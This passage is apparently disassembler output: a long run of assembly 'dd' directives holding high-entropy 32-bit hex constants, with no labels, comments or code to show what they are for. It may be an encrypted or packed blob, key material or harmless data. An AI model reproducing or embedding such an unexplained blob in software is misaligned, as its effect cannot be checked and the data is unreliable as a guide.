		dd 9633C80Ch, 3E9E9C6Bh, 87654A09h, 794EA4F6h, 0D9337E1Fh
		dd 0D0491660h, 1F39DEA0h, 3CEE7C0Eh, 4CC43901h,	77B1413Fh
		dd 9F43FC48h, 93DA8B6Eh, 0B742A6BBh, 0C01B4E42h, 67D2EE3Bh
		dd 9A1EE303h, 2C43BDEEh, 7EB69408h, 7BA1CBBAh, 0E0529F21h
		dd 693A191Bh, 6B158BFDh, 88ABBAA3h, 0E763A8DAh,	49078C00h
		dd 0C13444BDh, 289C71A7h, 0F7FC8457h, 4A1B5BD9h, 3FFCFB78h
		dd 7EED2DF2h, 0C9A54390h, 0A885E11Eh, 8804873Bh, 92DA5D3Ch
		dd 53BFBB1Fh, 0BD7D2C09h, 7F298C55h, 0A987B3B9h, 0BAFF2BF0h
		dd 7AE186F5h, 6B4E506Eh, 0FFD9913Ch, 0E47030EBh, 5882A44h
		dd 8F4F9992h, 0EFD7D62Ah, 0F02A6BA6h, 0DA1AE3D3h, 473AD70Ah
		dd 6BAE0C8Ah, 0EB75127Fh, 597A1401h, 35B24656h,	0D7C0BE94h
		dd 79B3D690h, 21D7A5BAh, 0CBD18007h, 35EADA9Eh,	1447C4Eh
		dd 2F313504h, 0D963014h, 8F4833ACh, 7F3A7B8Ch, 0C34005CAh
		dd 0B61048C7h, 67C9A105h, 14964068h, 6D14C38Dh,	5BBA9312h
		dd 8A43E87Eh, 0C27AC9B2h, 687CDA0Ah, 2ADE7A9Ch,	8A463391h
		dd 0DFC0E7E9h, 53E65CCDh, 0CECA94BEh, 0C15ED695h, 0D71BBB2Eh
		dd 9099EE17h, 935408F0h, 0C8DF4B51h, 6CD39FADh,	0D02C4A05h
		dd 6D80DF3Ah, 0EC8D767Eh, 7DD8D057h, 8674390Ch,	0E7DEA394h
		dd 0DF11DE75h, 344BD056h, 7394BA77h, 2E3BD85Eh,	63E5407Dh
		dd 36B555A0h, 949C07E7h, 3C4A439Eh, 439F2AAAh, 0DF5AA14Eh
		dd 0B389B803h, 0C319B389h, 33DB6A50h, 0A6B638E0h, 27DFF058h
		dd 0D00BE31Dh, 7894F09h, 0C18AFF57h, 3087D9F5h,	872BEE50h
		dd 8F8A0C19h, 9ABFDEDh,	10644CD0h, 0C88E324Eh, 6B63FBE6h
		dd 3CC39FBCh, 0AC7C6755h, 8CF2CD41h, 0F362B823h, 0E3F56223h
		dd 5187E32Ah, 0E50A0629h, 8E29B650h, 90B96288h,	6A22FF95h
		dd 0CBD6E02Fh, 515EF833h, 820B82BDh, 28D81818h,	0F7574D2Ch
		dd 2CB83233h, 0C0537501h, 0A117964h, 0BEA3D827h, 0E9256116h
		dd 8B8ABD42h, 6B5EF205h, 0DD35E6D8h, 1893ECDDh,	9647AB69h
		dd 0A42F83B4h, 0E6774AE4h, 0CC0EC82h, 0F672A29Bh, 6544256Ch
		dd 23419968h, 5534783Eh, 0CB5911ECh, 55129FB1h,	9CEE6419h
		dd 21ADF676h, 1E43C733h, 63805886h, 0C671AB64h,	0FC7B4530h
		dd 0F7E6758Bh, 0CE4F12Eh, 0E9A6A8CDh, 58D4E19Dh, 0D1C2DDF0h
		dd 1AB2CF80h, 5AFE3B52h, 8551056Ah, 0AF60476Ch,	767622BFh
		dd 4AC5CD71h, 9F9915E1h, 4FB740F1h, 454576AAh, 0A871AB4h
		dd 0DF3EC28Dh, 80CF33E0h, 0F37984B4h, 1F58F69Eh, 0F3C528E8h
		dd 26F72313h, 0A9172EF8h, 0EF813D66h, 0E77C8B85h, 0B03F9CDBh
		dd 3A36981Eh, 0B4DEF580h, 61FBF776h, 606E924Fh,	0CC63B048h
		dd 50AD23C6h, 0FA5DC629h, 0BC9632D4h, 3DC4AE6Bh, 12D0BDF8h
		dd 361C7424h, 91306A5Ah, 29CD24F3h, 708EACA3h, 98B2D021h
		dd 91961E31h, 510A1C64h, 32B2DE69h, 6D0BF4E2h, 0A19A7139h
		dd 2A15EFB5h, 278C9A31h, 42DFE069h, 7936BDCFh, 6035C4EDh
		dd 224FE8D3h, 0F0B965E4h, 466E26F5h, 0AFB37A15h, 0B608926Dh
		dd 282FBB92h, 60AD7AC3h, 0E854DFD6h, 47003AA5h,	3ABA465Ah
		dd 0AF136C6Dh, 902D219Eh, 0BF9D96EBh, 0EF4AD7A4h, 0E747BE49h
		dd 0DB8AB3A2h, 0DB916AC3h, 0EF3F2D36h, 4F7306C7h, 0D80E0634h
		dd 57411AB3h, 5A38BFE1h, 7E2EC578h, 0DEE9F370h,	257B7585h
		dd 9A2C7095h, 533B6974h, 642056EBh, 297B26B5h, 4F06E033h
		dd 69777C4h, 65DCC324h,	715BFDA2h, 0F83F2A45h, 817634B4h
		dd 0FEB749Ah, 7E1FDB84h, 340C0618h, 3231596Fh, 0E8275BF7h
		dd 5473CA2Bh, 8EA5ABFh
		dd 26763E56h, 0ED5ECC3Dh, 60070006h, 464D4221h,	0DA6F276Bh
		dd 1A0D9171h, 0C6E094BCh, 0F7B7E5B0h, 0FFE93186h, 7CB744EDh
		dd 0FA77B81Ch, 9E20159Ah, 1A3DECE8h, 0F718DF43h, 817945E6h
		dd 9BCC34C1h, 590725E6h, 90F4007Fh, 269BB43Eh, 0E5467A75h
		dd 404EE1BAh, 0AA6C6AF2h, 1414C1D4h, 0ED4CC0D2h, 1E201B7h
		dd 2D1CDCD6h, 4F10050Ch, 0A8FEEDBAh, 0D125315Fh, 52CC4A95h
		dd 6310E075h, 56E766FBh, 0EAE5FE0Fh, 0AAA07E87h, 603A0FBEh
		dd 28CB31F0h, 49B83484h, 734BF2C2h, 9F61B3F1h, 95AF1A3h
		dd 0D76D756Ch, 0DC67E1C9h, 0C458308Bh, 0A0C1CEBAh, 0DE83D25Eh
		dd 108CB76Fh, 0A6C18FEDh, 28350E35h, 0F7D726D5h, 0A38F759Ah
		dd 9BD70278h, 0CDE548CEh, 1EA9FDADh, 0FA630DE1h, 0E3123001h
		dd 7396EC39h, 91EACBD0h, 0BD5335DFh, 0F329FCBEh, 855100FDh
		dd 0B09F26F3h, 0CF81F7C5h, 0FFB47513h, 1358C280h, 78B8AFB5h
		dd 0F34EE864h, 378EBE46h, 0B4DBD14Eh, 4DBA5E2Eh, 784CAF34h
		dd 0CC759F49h, 0EBD263D7h, 946BBC2h, 0C279F6AEh, 709C601Bh
		dd 0C715C9Ah, 2F735D0Ah, 19C09EFCh, 2B025CA7h, 0A370D985h
		dd 0A96916A4h, 850A9719h, 7928C7Ah, 2427B816h, 377EF434h
		dd 0A5F522A5h, 0E14AAAAAh, 64A99282h, 9B08F474h, 7CB7EE70h
		dd 0D24AF4Fh, 295C93CAh, 8B1F456h, 0F7CF9853h, 2FCCE5E6h
		dd 69D0AB3Eh, 0AF739A29h, 6A4FF9B6h, 831E44BCh,	1C409EC0h
		dd 0B03418BDh, 7B8C3AA1h, 0DDF7AF3Eh, 0A5FC93FFh, 0A33D7DCFh
		dd 8D83E346h, 20D7E2BBh, 0A9F0C427h, 36810099h,	3FE8E4C3h
		dd 26A3F630h, 5ABCF68Dh, 0DC757738h, 4A40A855h,	50AC1430h
		dd 0F0878E22h, 1AA38761h, 706D6C04h, 0FF50F7D3h, 9997A9Fh
		dd 49619F7h, 85A02BF3h,	0B3AC1CDBh, 0FA859DFh, 0C8580483h
		dd 0A01A1254h, 0C9ADC86Fh, 8823F4CEh, 53388A1Eh, 370EEF65h
		dd 8F1D011Bh, 7B1EF77Fh, 0EBA0CA5Fh, 5FCED13Bh,	9551A5F1h
		dd 9B7406C4h, 9AE686D9h, 0E7294C68h, 0D43519E6h, 80EF7390h
		dd 7959CAD9h, 0C33989B8h, 67361074h, 78E9898Bh,	914DE492h
		dd 2332C010h, 5519727h,	34EB60BDh, 0AEAAE7DAh, 0E9BCD358h
		dd 7F5D716Eh, 589A5DF0h, 0E633D765h, 2819A274h,	7B04E021h
		dd 0C1B93628h, 5672BC17h, 639BB6B9h, 30B91CC4h,	7E20CC42h
		dd 0E9F07C53h, 0BDFD478h, 64B3C2Dh, 0C8E24FE4h,	0FA7CF0EDh
		dd 836A52C5h, 0F3C8BE0Fh, 0B5091088h, 8E9FA44Ah, 0A36C1373h
		dd 5E41075h, 0AC34D9A2h, 79F41E3Dh, 5FB0BA0Ah, 66A1F70Bh
		dd 88712E25h, 0CDD66B45h, 5AB6DB45h, 7A375081h,	8AB27B07h
		dd 0F310E29Bh, 53FF114Dh, 0C5E8948Ch, 0D92070BCh, 2A42BD3Eh
		dd 0CE69524Fh, 733AEE33h, 36725A96h, 192B8046h,	0A1FCD0F9h
		dd 86E89ACEh, 51737A28h, 0F3261923h, 6F8E2675h,	0FF91E3Eh
		dd 3A499050h, 0E1CA60CAh, 0AF3064D3h, 4546930Bh, 0F722D90Bh
		dd 0D6624257h, 0B70B7583h, 8D381FFCh, 0C1362D03h, 0BE5D9C45h
		dd 0B1D60B10h, 140F38FFh, 0D2C82E32h, 6DB0A960h, 0F0897044h
		dd 422E6758h, 4059D576h, 92E054EDh, 0E4B237FBh,	0A2CEA45Dh
		dd 7BEEA9DDh, 8B123BB4h, 0CA7C8048h, 4CE63B47h,	6F6EDD87h
		dd 0C5873697h, 81C48B7Ah, 0EB4343FDh, 700AC291h, 0E06E5ECFh
		dd 81BDAD4Eh, 5C1EE6D0h, 1E398387h, 0CCBFE810h,	4E73DF02h
		dd 2C44AA66h, 1597492Ah, 0BCC07A60h, 46155B2Ch,	2CBBBF3Bh
		dd 0D207563Eh, 28F3639h, 0A2775D95h, 0F2DF05B7h, 9EC9B62h
		dd 9861EF28h, 64B4A8CCh, 0E77409C2h, 0E1CC6EF5h, 0D828A5F1h
		dd 0CC3875EDh, 246829FAh, 0EDAB1C6Dh, 7CDA577Bh, 0AC014BF1h
		dd 432242D6h, 0B4781E7Dh, 0D90DB54h, 0CFBD41A2h, 0B4A4B20Eh
		dd 41CFF40Eh, 0B2E92ACBh, 0F9CBE48Bh, 0B60223ECh, 0EC1B1592h
		dd 7A2A3BCCh, 0BEAEF611h, 197E2DF0h, 0C835CC94h, 0F67CDE0h
		dd 923C728h, 0B7EB2612h, 0EB055453h, 0DDB1D5BFh, 0D5D5F241h
		dd 0C66E959Fh, 0C0EAC500h, 29DA69E8h, 0A8CA0D07h, 0A91887BAh
		dd 0EC591ABFh, 0B5F77891h, 6FA40DA4h, 0A80C73F0h, 42015A92h
		dd 4A189FEBh, 1EAE4007h, 0FBFE44B6h, 154FC832h,	0BEE5835Bh
		dd 0CF4AAE40h, 0E440B212h, 0B4D1A7A1h, 407FF467h, 223E8814h
		dd 0EBAB4C2Ah, 23D9B2F4h, 0B297F883h, 0D046AD23h, 752A45D9h
		dd 7BB99359h, 0F384613Bh, 2ADFFBF3h, 0B7B1CD22h, 0E7804F1Ah
		dd 3BA80566h, 33DCEA08h, 0D9111B62h, 803B8BAEh,	3FAA8E3Ch
		dd 0D796877Dh, 0B77EEE42h, 0B5FA65C7h, 46C98A7h, 0B2F22DF1h
		dd 699675CEh, 0EBCCABCDh, 3B76E851h, 0B5971B82h, 0FF76B799h
		dd 0FB00068Ch, 8B819A55h, 0E5B4C789h, 823FAA51h, 0F6A13AE0h
		dd 59EC4208h, 4F637036h, 40824F49h, 6412E722h, 6F4891B2h
		dd 25789CCEh, 0FB854471h, 92B6814Fh, 5C82E25h, 38A2ECE4h
		dd 0BAEDDADDh, 58D36631h, 0E0DEABEBh, 0BE5432DBh, 8291A237h
		dd 5C63086Bh, 61937AA7h, 15935675h, 77077D97h, 8F369C72h
		dd 744540EEh, 0CEA0DEBDh, 0A33ABC0Ch, 0B6168B45h, 21F6B906h
		dd 0CC85059Dh, 0DA3C17ACh, 0D2DDEA59h, 301F3861h, 0DF205283h
		dd 0C1385835h, 0B012EBC7h, 19AEB2E4h, 801AD229h, 0F6AF934Bh
		dd 0DD2C8495h, 0A0DCCC12h, 0F8EFF5Eh, 0AE4E6FA1h, 0C8435E58h
		dd 450EA00Bh, 867A1161h, 0F9C46D07h, 0DD7A9910h, 0C1EAE72h
		dd 9AEDF65Eh, 0F8A11E85h, 732F3753h, 0E25FC6BEh, 951F970h
		dd 5CB3F61h, 6D034A8Eh,	2DC4E54Ch, 0A8CB33BEh, 6F288988h
		dd 0B5D0EAC6h, 0B3F246F8h, 2D984272h, 4F165814h, 87000DE2h
		dd 0EB1A255Bh, 0DB872E00h, 0A9BEEC7Ch, 0FF5557A3h, 6B48B5A2h
		dd 4D4A97F4h, 7D240057h, 0D73F19DAh, 80A1A4D3h,	0F9977ACCh
		dd 0F507C069h, 0DE96E3B2h, 2030061Ch, 1D2D57E6h, 0D4CE49B8h
		dd 80E071F6h, 26D5B683h, 0D76CAEF8h, 5CF0CB66h,	966580F6h
		dd 601F386Ch, 0C768CD87h, 1645847Ch, 0B16EA760h, 0B3E057F6h
		dd 8E7E9E13h, 2676E751h, 4696637Bh, 0C699D789h,	59610035h
		dd 0A22B45DBh, 215A0C73h, 12DA55B5h, 730FC815h,	0F6641045h
		dd 0BF9F01Dh, 0A09EEB1Ch, 0FBCB69B9h, 13F8F8F4h, 185FDB33h
		dd 0ECC3C8D9h, 1877AB0Ch, 58AC87FCh, 0F0917417h, 0B4C3FCA1h
		dd 66B18422h, 56141902h, 37BEFCFDh, 0F95827B7h,	0A81E19F9h
		dd 39F73824h, 0CE170ACCh, 1259B143h, 0D2DB00F1h, 3B49BE5Dh
		dd 309A820Dh, 92260A44h, 0D6967682h, 0EF1E9D2Dh, 9538FA6Ah
		dd 625671A5h, 63D5CB12h, 0C9CE7C25h, 6470296Bh,	4E5409ACh
		dd 0DA84DAC9h, 4184AD9Dh, 0D1CB070Bh, 40291FFFh, 0F099597Dh
		dd 48B0C129h, 0FA710A4Dh, 0F569B1BCh, 0CF6DAAC9h, 2DE8A820h
		dd 0CBA18255h, 1DE9097Ch, 0D13F5F9Ch, 2246C04Ch, 198A931Eh
		dd 0A0D76B0Dh, 0B331C2h, 0C3D077E7h, 72B31ED9h,	8A2BBC97h
		dd 6E40A08h, 0BAFF7C90h, 0D20995B9h, 14C164F4h,	94B979Ch
		dd 7359697Fh, 257E0354h, 3BB50A49h, 1F820E58h, 0AF25C3D4h
		dd 3EFE9386h, 73696A7Fh, 0BCA64A8Eh, 9E9C5AA0h,	0AFB55503h
		dd 2C46143Ch, 150D08FCh, 0A9B6DBBAh, 61D5B97Ah,	1D11D67Dh
		dd 489C821h, 606BEFADh,	0D7E0D69Bh, 91BB7A21h, 809F037Ch
		dd 0D340A079h, 496264A9h, 0F1786C7Fh, 76D37EEBh, 0FE15750Eh
		dd 769C123Dh, 0E21BB6B7h, 0F96A19F2h, 0CB1C301Fh, 0DF80EEDAh
		dd 2283AE71h, 0CA861CCCh, 0FE5451A6h, 0C5D65016h, 32E9CA44h
		dd 74F8D5B6h, 0D6935048h, 9238D4C3h, 0E7588EFDh, 5EA224B0h
		dd 4E4B23EEh, 40AA8CEDh
		dd 0C0D7A3D4h, 0C29AEC83h, 8E4C834Ah, 0BC548251h, 4D65D172h
		dd 8824D95Ch, 0B6819F88h, 0A7C4190Ah, 0CC686A95h, 0AE18734Ch
		dd 965382F9h, 0EE366736h, 0CAE24B60h, 0B304AEBCh, 0BD404DC7h
		dd 33AE4D7Dh, 4B2D6257h, 167004DEh, 40C58664h, 0AF98727Ch
		dd 0D85EED2Dh, 0FE809131h, 861175AAh, 2C7242AEh, 0D40A80EAh
		dd 4EEB3307h, 5193A9F3h, 0C90BBFAh, 0DA4583E7h,	0CD9E58E3h
		dd 49C0C784h, 0B7654DC9h, 4BA58793h, 0D8E53D2Fh, 0A45DD479h
		dd 0D12D7E2Ah, 0D63ED6Fh, 0D27D55D4h, 6986F8D8h, 4609F5h
		dd 0B2155B99h, 0F8AB0B1Bh, 0A12D76C5h, 0A035EAFh, 382E5B66h
		dd 432DFF94h, 0F8F218C9h, 763E095Ah, 0EB95F389h, 0D896EB5Bh
		dd 0A92D798Fh, 0CD26FC9h, 0C9E0C8F5h, 2CBD7F20h, 24E59A3Ch
		dd 0DFEF0E31h, 9920547Ch, 0C4157B6Ah, 1897BBB9h, 728D789h
		dd 3CC1265h, 508D5AEAh,	0F9C692D9h, 0E57A6971h,	0B951CF63h
		dd 18231735h, 38F46857h, 0F652CB8Fh, 0DBE8350Ch, 0CC694916h
		dd 0ED570A73h, 0F41E0741h, 0B3F4903Fh, 1568732Fh, 569B3DC2h
		dd 0EBF2EE72h, 737140E0h, 9B0148F0h, 788D901Bh,	0D8FA3BB8h
		dd 7AB75A61h, 5C974193h, 0F6398298h, 0D9E659F3h, 7B4BEA81h
		dd 8DABAED8h, 3F0EE153h, 5861CE07h, 71156305h, 98AE3AD3h
		dd 75C0E67Fh, 78B6CB32h, 0F4202BDDh, 0D2BAF3DBh, 0D3917A71h
		dd 6F8FB701h, 618C515Dh, 8F7B00A6h, 0D65B9CADh,	0B582162Ah
		dd 651C9FE3h, 0DA993F55h, 21915302h, 10C15018h,	0D06452D6h
		dd 0A88E7297h, 0E6873D47h, 428E1BC3h, 40AFDD25h, 18E42845h
		dd 258468BFh, 0C8D33636h, 60A8BE98h, 0EED8EB28h, 90C33B98h
		dd 8ED2DD61h, 5837B0B3h, 4907E8A6h, 6140C928h, 0CF4E6229h
		dd 0E10494B7h, 876FDA2Bh, 2B8A4E2Fh, 0D6853537h, 5D550D08h
		dd 523132DEh, 0D553BA6Ch, 1190C071h, 0F3063C9h,	0BC41CF13h
		dd 78F43D92h, 95075FB6h, 0EB14F614h, 7E23084Eh,	1581914Fh
		dd 89D4B809h, 11D3FE18h, 0F4D7ADE3h, 5326907Eh,	49ABC986h
		dd 0AF125C1Bh, 3BBBFF5Ch, 1EF146BDh, 8AA202B8h,	7A211E31h
		dd 0DC23C13Ah, 3E393532h, 0B06434Eh, 0AEBA8049h, 0DCE397FBh
		dd 89B3E670h, 849274C4h, 0B7932FD6h, 0B6AA4F33h, 0B3E93869h
		dd 504D64F1h, 69666CD2h, 472F1FFDh, 15E15D5h, 395CDC08h
		dd 0E660143Fh, 0EE1B626Ch, 0B1F2AAA7h, 96CFFC4Fh, 0F6263147h
		dd 0D585DCB1h, 91E930F0h, 420D312Bh, 69AC435Dh,	356A9A90h
		dd 0E6003188h, 0D32354EFh, 912219DCh, 3DEDBD9Ch, 17793F83h
		dd 84C298CDh, 0D2849356h, 0A3B18B17h, 9561557h,	0E82FEF3Dh
		dd 0B0952365h, 0CDB78BC0h, 0AAF8E68Ch, 0EF3D7F0Ah, 3E022723h
		dd 0C2FEDE50h, 0F42D12DCh, 0F02784FAh, 0E430989Ah, 0D4696D01h
		dd 5EB0C407h, 84C27431h, 83BD63DDh, 0CA334E72h,	0B0EC26EFh
		dd 6FE2C6B5h, 8A419C10h, 0C4750796h, 0B08CD234h, 0BCF73725h
		dd 57F3D4FDh, 0F0A7A231h, 0B82CD35Fh, 7331B7FCh, 4EDF5E55h
		dd 0BF4F86B5h, 0B90254E8h, 2B8511E1h, 7293289Bh, 593160C1h
		dd 22228D07h, 58582505h, 571442EEh, 0E9612864h,	5C3AF08Dh
		dd 8BAF7D68h, 537ECF75h, 62A5549Dh, 0C74830EFh,	0BE11AFD2h
		dd 725835A1h, 0E219DB0Fh, 0AD172383h, 342AA9CEh, 0E30105D4h
		dd 1BCF0858h, 4034832Ch, 0A79B54DEh, 5A50DFD9h,	87E80D74h
		dd 11536BA2h, 0F0AA6482h, 7D671E52h, 71706A51h,	1B10D33Dh
		dd 730CF2B2h, 0F61DEA6Ah, 11F4C8C8h, 0AC03D072h, 0B4FBBB12h
		dd 8C822B71h, 96840AD5h, 246226EAh, 680DF79Fh, 2D978B3h
		dd 0D6BF6E0h, 9274D77h,	7DC8920Fh, 0BE90C8B3h, 418BE586h
		dd 0CA5585A7h, 0F785BBDBh, 4BED0C27h, 784B20A2h, 146295F9h
		dd 0C67A1D81h, 3309B450h, 0A663C478h, 57408F38h, 8938D8F1h
		dd 0E8A75DC6h, 949CD045h, 0F42949E2h, 0F9337125h, 2EE7AF61h
		dd 0C0D116D2h, 4F4C8F61h, 59EAC0DBh, 0C55CB170h, 1E6A281Bh
		dd 0B6A9BA22h, 1E16D975h, 0BD55A3Ah, 548B50CCh,	0DC86DF34h
		dd 860731BDh, 0FC922D69h, 6974F858h, 0C4D75859h, 85A9EA2Ch
		dd 6DB99BC5h, 8CCF7519h, 118A0ACCh, 0A1004CDEh,	8AB815EFh
		dd 1C0E20D5h, 7B7EE1Ah,	0A5F911D8h, 67333FDh, 0FBA2E4EDh
		dd 0A562B83Ah, 0FF8A7CF2h, 0BD05B362h, 0F22B2DBh, 73D2B7F9h
		dd 175D7AFCh, 0DB1F50Fh, 16645C63h, 5807AD9Eh, 0EEE92C7Bh
		dd 2F4730Dh, 5AC9DD17h,	6EA85309h, 3B5A06FDh, 3A9F37B1h
		dd 0E8F87683h, 2F4806BFh, 2AAE7B6Eh, 25F663D8h,	2E156856h
		dd 0CDE50C84h, 50D44832h, 5405AF92h, 0D5656C5Dh, 0E048CEE0h
		dd 8AA13C94h, 323C756h,	0FA497476h, 2CC6DA10h, 7E5746B6h
		dd 0F30817C3h, 5AE748AFh, 2900AABCh, 719A62CBh,	0C883328h
		dd 0C62B0FAAh, 79C599D5h, 111B4282h, 4DBE68ACh,	88B9E859h
		dd 81FC8777h, 5F37E3D0h, 63C974ABh, 0D0E92501h,	0C7AEA91Eh
		dd 6A2BF7DEh, 774CB8F7h, 2E5A2010h, 8CC56D75h, 0A33E4196h
		dd 0FDB322DFh, 0B5A3B353h, 67261C8Fh, 0E349C015h, 536BD860h
		dd 602FF133h, 8088F704h, 0EE4240FCh, 153C042h, 0BDE12BCCh
		dd 0B796F932h, 7012D9BBh, 7D9444E0h, 0BBD9FFAAh, 0ACC015Eh
		dd 94AAE0A3h, 6C681FA8h, 2BA2D952h, 2BC04FCh, 9BFA4F29h
		dd 0FE7E3EB4h, 0F131AB18h, 0E86494E0h, 0FBB88BB4h, 40B9D17Ch
		dd 44B78F59h, 0A19C7E87h, 5D764B3Bh, 79086F47h,	4E012C7Fh
		dd 0F94F81E6h, 0FA63632Ch, 321CE62Ah, 0FB4E54FAh, 7439826Fh
		dd 0AF6CC707h, 0C54D9CA6h, 0C4C6D893h, 0E1373C46h, 0F821620Ch
		dd 778EE023h, 0EC42656Eh, 0B64628D9h, 0CEDCF199h, 0A3B64E60h
		dd 0ABDBB4D4h, 606489F0h, 4CC2C2BAh, 7FE02A38h,	0C05B340Fh
		dd 2444F30Dh, 0C6B7F913h, 1443776Dh, 0F2039ADCh, 0A5574CFCh
		dd 0EC791FD3h, 8A304779h, 98A192C1h, 2249309Fh,	6DAE23E8h
		dd 4620D052h, 0AA285DE2h, 0F073F3BCh, 0B257932h, 0BE22B25Eh
		dd 6E10F91Bh, 690F846h,	0A22949EDh, 35F87DF4h, 20E07BF5h
		dd 39E95167h, 1A4FD804h, 508EC870h, 5D7F4E8Ah, 0FBCFACC8h
		dd 5934762Fh, 5831594h,	73A0C986h, 0C7D226FFh, 0D91AF477h
		dd 665E0A13h, 195CC2BCh, 73D28FB3h, 3CA393E7h, 0C1A61BD2h
		dd 0BABD651h, 0A89EB56Ah, 0CB0EB74Dh, 920CEB9h,	0E44E72E9h
		dd 25D30322h, 813CAEC8h, 388BDCC6h, 0DB6D2DFCh,	6AF6152Ah
		dd 2A942D24h, 0A5AC0507h, 697E98D2h, 0A6D95CF1h, 4A26D762h
		dd 666AA301h, 0E2AED76h, 666122AAh, 2FF23297h, 92B4248Bh
		dd 1BF9A568h, 0D0AD31CAh, 18FE7612h, 0D5E8CD0Ch, 19D2E202h
		dd 0E2CE3124h, 0E6FE662Ch, 0F7FC525Bh, 475B415Bh, 0E6724886h
		dd 11129A51h, 1885904Ah, 38504A06h, 8246A4E0h, 206F52AFh
		dd 0A9C757ADh, 71E9ADE1h, 0ED4CE39Fh, 39F9911h,	626D6BBBh
		dd 72DFB5F4h, 0A8F02854h, 0A280F306h, 6A3BE186h, 79D92CAFh
		dd 72FE35FFh, 0DD5774Ch, 5257BAC6h, 0CE747E13h,	0FDBCA356h
		dd 528C6AE4h, 0E684F85Eh, 0ABC2BDF2h, 0B8EE530Bh, 558BFD5Fh
		dd 84C73925h, 728A5BBCh, 81162D3Fh, 3FE01CD0h, 2E552934h
		dd 51BABAEEh, 289F0A31h, 1782C81Bh, 16DA77EEh, 767F020Ch
		dd 13D66869h, 0BB524C42h, 0EAC049B2h, 0D6F583ECh, 5EA16EA6h
		dd 0AA5ADF47h, 72C64B20h, 8DD640D4h, 9A269701h,	0E17CBFF3h
		dd 0F98295Dh, 2F6890F1h, 0BCACD2CAh, 0C3A01A74h, 90B9128h
		dd 0AC0BBFC6h, 564F76C5h, 9217F35Fh, 53C22A1Dh,	0E0820EAAh
		dd 0BCED8382h, 0BA47E12Bh
		dd 0B87CCF22h, 0DDAA76F4h, 0EA667939h, 1B2E09D0h, 0EF027A43h
		dd 0EAE71B2Ch, 980F53CAh, 0DCCCD2Ah, 0DE00832Bh, 9E46A561h
		dd 0E71E69DEh, 0FA171E2Eh, 4DA38526h, 4F8E4076h, 0CD7CE38Bh
		dd 3C8D5989h, 0C2C2AE8Ch, 3CC92321h, 0E9003DC4h, 15F3F8F5h
		dd 0C49C3D36h, 0D5C778C8h, 5763375Dh, 17744BF7h, 4409B4B0h
		dd 1AAEC122h, 5F7C8EE8h, 60767DD6h, 0F9EEDE9h, 19F8664Ch
		dd 0E9B53C30h, 0DE3340DAh, 0A1D54F98h, 0ACB78B0Bh, 234CC4E0h
		dd 9E47BAD6h, 863AB1CBh, 261F1F94h, 87BB28C7h, 0A96C457Eh
		dd 0D0A8F8D0h, 390B367h, 79D0DA9Fh, 2EF113D6h, 0CD6F12A3h
		dd 32E6F245h, 0F715AF13h, 0D9DA9600h, 0A8E0E2E9h, 170FAAC4h
		dd 0DE90DC57h, 50D863EDh, 42C9CD71h, 867F946Ch,	47954B14h
		dd 5FF92C34h, 1987F207h, 116B9514h, 9654632Dh, 43D7B494h
		dd 3EB1A00Fh, 83E3EA69h, 0F2CDAE1Fh, 5681DCB1h,	0B5A2A084h
		dd 64AB4B05h, 0B53B2CC5h, 8A3642C4h, 0F7730919h, 0F4B04F15h
		dd 8EAA95CEh, 0AD269C58h, 529382F6h, 1A96CB38h,	61ED94ACh
		dd 0F985A701h, 200C12D3h, 8CDB952Eh, 0A7446E36h, 8D5F73F7h
		dd 8AE25AEh, 44DE0F45h,	5954DA52h, 0B6965F78h, 7D88DB2h
		dd 44D6E007h, 92857201h, 0CD3DA636h, 57B91F43h,	0CDF94D22h
		dd 0B4C65815h, 3676DCA6h, 0F01D1D78h, 31DEEEFAh, 2A1FB095h
		dd 73BDA43Ch, 0B4A23977h, 0A94D71DEh, 935324A9h, 0C9931F83h
		dd 8412EE1Fh, 0D7AFEB17h, 5976B2F7h, 20125A7h, 61A5C6E7h
		dd 5CBFE811h, 0DA81C0E5h, 62BC185Fh, 2F2C76E5h,	4EDBF17h
		dd 0DC537C6Ch, 7F188F3Ch, 0C1E519CFh, 0AC3E311Eh, 37EC4BCh
		dd 0B87B8AB0h, 6713EB77h, 0A9193B95h, 4FB4F3A5h, 754AE531h
		dd 66FE774Dh, 1F71123Ch, 0E9DA008Dh, 0FE7F4734h, 0C805D838h
		dd 0E3FAE96h, 1DBD24C8h, 0E9A43967h, 0EAFE90A0h, 4C5286F5h
		dd 7E9EC5F7h, 77878E53h, 0E9B5Ch, 227EDBC6h, 98BD433Fh
		dd 86ED4AE1h, 0C83808ABh, 0A0BD430Ch, 4EAF81F5h, 9BA8CF11h
		dd 6B3DEC82h, 5F932B7Fh, 8C8D3DB0h, 243F8D08h, 0CC2468D8h
		dd 0B31E8AF2h, 53987BA6h, 6607895Ah, 0B4E21ADEh, 5BEC8B95h
		dd 38DEF111h, 0BAFBD6EEh, 45626B02h, 1BF8E183h,	8451721h
		dd 0A43230EDh, 5C5BFC6Eh, 1F88337Ah, 0AE8C72F0h, 0B448DBFEh
		dd 0D80F2817h, 15A05014h, 0CAA7DE5Fh, 0DBF19A82h, 0AB90057h
		dd 0B992E0DBh, 91FB7380h, 0DC7B4BD9h, 9F8930C8h, 0A9276FBEh
		dd 70008511h, 9B7902D6h, 1861B58Ch, 5DF4A73Ah, 0C76BBE69h
		dd 129EB1F2h, 0C6A40120h, 2C26E25Ah, 1AD39C4Fh,	9AFF2A3h
		dd 0DA72E1A7h, 97B25C41h, 0A34E0794h, 0A2173708h, 9027FEE5h
		dd 8C0012F0h, 28AA1F83h, 7A86931h, 0D72606A4h, 0C8AD9521h
		dd 52972E6Fh, 5F17EC84h, 0E854C1E9h, 0D6307795h, 0E83E1C95h
		dd 4C498982h, 5973A00h,	6B454803h, 0F20761C4h, 115F1191h
		dd 0A6B5276Dh, 17366566h, 94CCDCAAh, 7EE96ADAh,	386604Ah
		dd 6A5663EEh, 788F5684h, 0B6EDAEDDh, 5D65A0EAh,	3B5563F1h
		dd 0C1E6EAFDh, 2816084Ah, 227EF9ABh, 0A35029DFh, 8E85FF7Ah
		dd 0B7BBB7CFh, 365E393Fh, 57C4451Bh, 0B9F634E6h, 2B3B65Fh
		dd 54705EC2h, 0D6D55F2h, 0C3BB47FAh, 0C01C5E6Fh, 5DB4E277h
		dd 0FDA00EFDh, 0C9454F02h, 3974D87h, 0B221C85Ch, 5F58289Dh
		dd 36E76795h, 326F5CABh, 0D2514BE1h, 59F3AB71h,	0B506F3A7h
		dd 0D6D93409h, 9BF4424Fh, 841FCCDFh, 5F935FA0h,	509ADACEh
		dd 0DB83E3B6h, 4A2CF291h, 0ADEC7EFAh, 0C980939Bh, 859E9F7Ah
		dd 2A3774FBh, 4E156D13h, 0F77743Ch, 34DD039Eh, 5E62785Fh
